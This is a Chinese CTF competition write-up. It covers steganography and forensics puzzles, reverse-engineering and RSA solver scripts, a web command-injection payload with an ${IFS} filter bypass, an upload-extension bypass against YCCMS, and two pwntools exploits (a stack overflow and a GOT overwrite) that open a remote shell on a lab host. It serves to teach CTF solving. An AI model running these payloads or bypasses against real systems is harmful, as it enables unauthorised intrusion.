6位纯数字密码,直接爆破
解压得到的图片用010打开有异常,修改高度可以得到一张二维码,只不过上部分的定位点被遮住了,手动修一下就行
扫码即可
文件尾有PK,只不过反过来了,一共有两处都反了改回来就行
压缩包里面是flag文件,有密码。看样子是键盘密码,在键盘上画了一下得到密码WVALOU
,当然实在不知道那个是A的完全是可以掩码爆破爆出来。
解压出来看一下频谱,发现flag
文件尾一个png图片,图片LSB隐写提取出来是个二维码。扫码得到疑似密码但是解不开,看起来有wireshark字样于是猜测栅栏密码,栅栏2得到密码wireshark3.7.0
解压压缩包010查看发现是PDF,只不过文件头被改成了00 00 00,改回来就行,打开后全选发现没有flag字样,猜测为隐写,使用wbstego空密码解密即可得到flag
本来是个挺简单的题改了好多次…
第一次的文件,能发现mirror.png、flag.txt、fffllaaaggg.zip但是无法找到后两者,前者导出也只能导出一部分
第二次的文件,能发现fffllaaaggg.zip,但是导出任然不完整
第三次的文件,能发现fffllaaaggg.zip和ffflaaaggg.rar还有mirror.png,但是zip导出依旧不完整,且rar有密码并不能用admin的密码lego1314解出
再后来的文件,能发现ffflaaaggg.rar和mirror.rar。vol导出来之后mirror的解压密码在注释,解压之后010查看发现有倒过来的png。写个脚本
new_f = open('key.png','wb').write(open('mirror.png','rb').read()[::-1])
得到key之后,再打开流量包,按大小排序。看了一下猜测是将移动硬盘里的文件传输到了电脑里面,抓到了传输过程中的两个图片。
foremost直接分解,能够发现两张几乎一模一样的图片,猜测为盲水印。
python3 .\bwmforpy3.py decode .\00000030.png .\00000094.png flag.png
flag:
s = 'igdb~Mumu@p&>%;%<$
for i in range(10):
if(i%2 == 0):
print(chr(ord(s[i]) - 3),end='')
else:
print(chr(ord(s[i]) + 5),end='')
for i in range(10,20):
if(i%2 == 0):
print(chr(ord(s[i]) - 11),end='')
else:
print(chr(ord(s[i]) + 13),end='')
水怪
s1 = [102, 13, 99, 28, 127, 55, 99, 19, 109, 1, 121, 58, 83, 30, 79, 0, 64, 42]
s3 = []
for i in range(17):
if(i%2 == 0):
s3.append(s1[i]^i)
else:
s3.append(s1[i])
for i in range(17):
if(i%2 != 0):
s3[i] = s3[i] ^ s3[i+1]
print(''.join(chr(i) for i in s3))
先恢复i%2==0的,再恢复i%2==1的
UPX壳一脱
我写的挺拉的。思路就是通过部分明文暴力破解得到a,b参数,然后再爆破得到每一位
# -*- coding: utf-8 -*-
import string
import hashlib
letter=string.ascii_letters+string.digits
def encrypt(m, c, a, b):
for i in range(len(m)):
ch=m[i]
t=(letter.index(ch) * a + b) % 62
c.append(letter[t])
d = ''.join(c)
return d
m = 'flag'*11
c = []
for a in range(40):
for b in range(40):
c = []
# print("加密后的密文为:")
Cipher = encrypt(m, c, a, b)[:4]
if(Cipher in 'xGJ13kkRK9QDfORQomFOf9NZs9LKVZvGqVIsVO9NOkorv'):
print(Cipher,a,b)
# flag = hashlib.md5("".join(str(m)).encode("utf8")).hexdigest()
#print(flag)
enc = 'xGJ13kkRK9QDfORQomFOf9NZs9LKVZvGqVIsVO9NOkorv'
a = 11
b = 17
for i in range(45):
for j in letter:
c = []
tmp = encrypt(j, c, a, b)
# print(tmp)
if(tmp == enc[i]):
print(j,end='')
# """
# 加密后的密文为:
# xGJ13kkRK9QDfORQomFOf9NZs9LKVZvGqVIsVO9NOkorv
# """
原题改编,题目参考NEWSCTF2021新春杯 EZ-RSA,只需要改参数就行
n= 124689085077258164778068312042204623310499608479147230303784397390856552161216990480107601962337145795119702418941037207945225700624828698479201514402813520803268719496873756273737647275368178642547598433774089054609501123610487077356730853761096023439196090013976096800895454898815912067003882684415072791099101814292771752156182321690149765427100411447372302757213912836177392734921107826800451961356476403676537015635891993914259330805894806434804806828557650766890307484102711899388691574351557274537187289663586196658616258334182287445283333526057708831147791957688395960485045995002948607600604406559062549703501
c= 57089349656454488535971268237112640808678921972499308620061475860564979797594115551952530069277022452969364212192304983697546604832633827546853055947447207342333989645243311993521374600648715233552522771885346402556591382705491510591127114201773297304492218255645659953740107015305266722841039559992219190665868501327315897172069355950699626976019934375536881746570219967192821765127789432830133383612341872295059056728626931869442945556678768428472037944494803103784312535269518166034046358978206653136483059224165128902173951760232760915861623138593103016278906012134142386906130217967052002870735327582045390117565
t = 10
import gmpy2
for k in range(-1000000, 1000000):
x = gmpy2.iroot(k ** 2 + 4 * t * n, 2)
if x[1]:
p = (-k + x[0]) // (2 * t)
q = t * p + k
break
import gmpy2
from Crypto.Util.number import long_to_bytes, bytes_to_long
phi = (p - 1) * (q - 1)
e = 0xe18e
t = gmpy2.gcd(e, phi)
d = gmpy2.invert(e // t, phi)
m = pow(c, d, n)
msg = gmpy2.iroot(m, t)
if msg[1]:
print(long_to_bytes(msg[0]))
直接翻main.js找到base64编码后的flag,解码即可
提示robots,访问可以看到flag界面。跳转过去说不让用ctrl+u,只要我进去的够快我就能用
当然正确的做法是在前面添上view-source:
测试发现无回显,而且这个过滤居然是替换为空,直接双写绕过就行。flag那里用老套路正则去拿
最后的payload:cmd=tatacc${IFS}/ctf_is_fun_fla[g]2021>yee.txt
然后访问yee.txt
百度搜索YCCMS RCE,可以看到任意密码修改漏洞和任意上传漏洞
但是在进行任意上传的时候发现上传不成功,于是访问www.zip下载到源码,查看class下的logoupload和fileupload
只验证了第一个点后面是否为四个类型中的其中一个,多打几个点就行了
然后在后台的其他功能-图片管理找到文件。直接拿flag
本来是刚做完TQLCTF准备把hsc的wp交了不想做了,结果发现这道题800分居然被打来不是800了,而500的题还是500,肯定有蹊跷
!!!
https://blog.csdn.net/fmyyy1/article/details/120756272
https://fyhssgss.github.io/2021/10/12/greatwall2021/
给出了后面地址且直接是system(’/bin/sh’),main函数进入就是栈溢出,没什么好说的
from pwn import *
p = remote('hsc2019.site',10278)
p.recvuntil(b'string!')
p.sendline(b'a'*(64+8) +p64(0x400741))
p.recv()
p.interactive()
依旧是直接给了system(’/bin/sh’)地址
任意写,将printf地址改为后门地址,调用printf实际调用的system(’/bin/sh’)
from pwn import *
p = remote('hsc2019.site',10090)
elf=ELF('./pwn')
context.log_level='debug'
p.sendlineafter('your ID?\n','aaaa')
p.sendlineafter('Give me the target address?',str(elf.got['printf']))
p.sendlineafter('Give me the data: ',p64(0x400796))
p.interactive()